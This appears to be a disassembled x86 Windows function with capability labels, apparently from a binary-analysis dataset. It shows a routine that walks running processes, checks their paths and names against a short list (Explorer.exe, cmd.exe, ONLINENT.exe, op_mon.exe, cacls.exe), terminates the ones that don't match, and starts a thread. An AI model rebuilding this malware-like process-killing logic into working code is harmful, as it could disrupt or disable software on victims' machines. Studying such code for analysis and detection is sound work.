Function at 0x401d70
Capabilities:
Create thread
Enumerate processes
Get common file path
Resume thread

Disassembly:
sub esp, 0x238
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x234], eax
mov eax, dword [0x406460]
push esi
push 0xc6
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
mov ecx, dword [0x406464]
push 0xc6
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov edx, dword [0x406464]
mov eax, dword [0x406468]
push edx
push 0xc6
push eax
call dword [sym.imp.MSVCR80.dll_wcscpy_s]
mov ecx, dword [0x40642c]
mov edx, dword [ecx + 0x54]
mov eax, dword [0x406468]
mov esi, dword [sym.imp.MSVCR80.dll_wcscat_s]
push edx
push 0xc6
push eax
call esi
mov ecx, dword [0x40642c]
mov edx, dword [ecx + 0x58]
mov eax, dword [0x406460]
push edx
push 0xc6
push eax
call esi
mov ecx, dword [0x40642c]
mov edx, dword [ecx + 0x5c]
mov eax, dword [0x406464]
push edx
push 0xc6
push eax
call esi
add esp, 0x30
push 0
push 2
mov dword [esp + 0x14], 0x22c
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
lea ecx, [esp + 0xc]
push ecx
push eax
mov dword [esp + 0xc], eax
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
jne 0x401e65
mov edx, dword [0x40645c]
mov esi, dword [sym.imp.MSVCR80.dll_free]
push edx
call esi
mov eax, dword [0x406464]
push eax
call esi
add esp, 8
or eax, 0xffffffff
pop esi
mov ecx, dword [esp + 0x234]
xor ecx, esp
call fcn.00402bb4
add esp, 0x238
ret
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_TerminateProcess]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_CreateThread]
push edi
mov edi, dword [sym.imp.MSVCR80.dll__wcsicmp]
lea ebx, [ebx]
mov ecx, dword [esp + 0x20]
push ecx
push 0
push 0x411
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x401f9f
mov edx, dword [0x40645c]
push 0x18e
push edx
push 0
push esi
call sub.PSAPI.DLL_GetModuleFileNameExW
mov eax, dword [0x406464]
mov ecx, dword [0x40645c]
push eax
push ecx
call edi
add esp, 8
test eax, eax
je 0x401f3b
mov edx, dword [0x406460]
mov eax, dword [0x40645c]
push edx
push eax
call edi
add esp, 8
test eax, eax
je 0x401f3b
lea ecx, [esp + 0x3c]
push str.Explorer.exe
push ecx
call edi
add esp, 8
test eax, eax
je 0x401f3b
lea edx, [esp + 0x3c]
push str.cmd.exe
push edx
call edi
add esp, 8
test eax, eax
je 0x401f3b
lea eax, [esp + 0x3c]
push str.ONLINENT.exe
push eax
call edi
add esp, 8
test eax, eax
je 0x401f3b
lea ecx, [esp + 0x3c]
push str.op_mon.exe
push ecx
call edi
add esp, 8
test eax, eax
je 0x401f3b
lea edx, [esp + 0x3c]
push str.cacls.exe
push edx
call edi
add esp, 8
test eax, eax
jne 0x401f40
push 1
push esi
call ebx
mov eax, dword [0x406468]
mov ecx, dword [0x40645c]
push eax
push ecx
call edi
add esp, 8
test eax, eax
je 0x401f6e
mov edx, dword [0x40642c]
mov eax, dword [edx + 0x60]
push eax
lea ecx, [esp + 0x40]
push ecx
call edi
add esp, 8
test eax, eax
jne 0x401f8e
push 1
push esi
call ebx
lea edx, [esp + 0x14]
push edx
push 4
push 0
push 0x401d30
push 0
push 0
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x40645c]
mov word [eax], 0
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x18]
push ecx
push edx
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x401e80
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x244]
pop edi
pop ebp
pop ebx
pop esi
xor ecx, esp
xor eax, eax
call fcn.00402bb4
add esp, 0x238
ret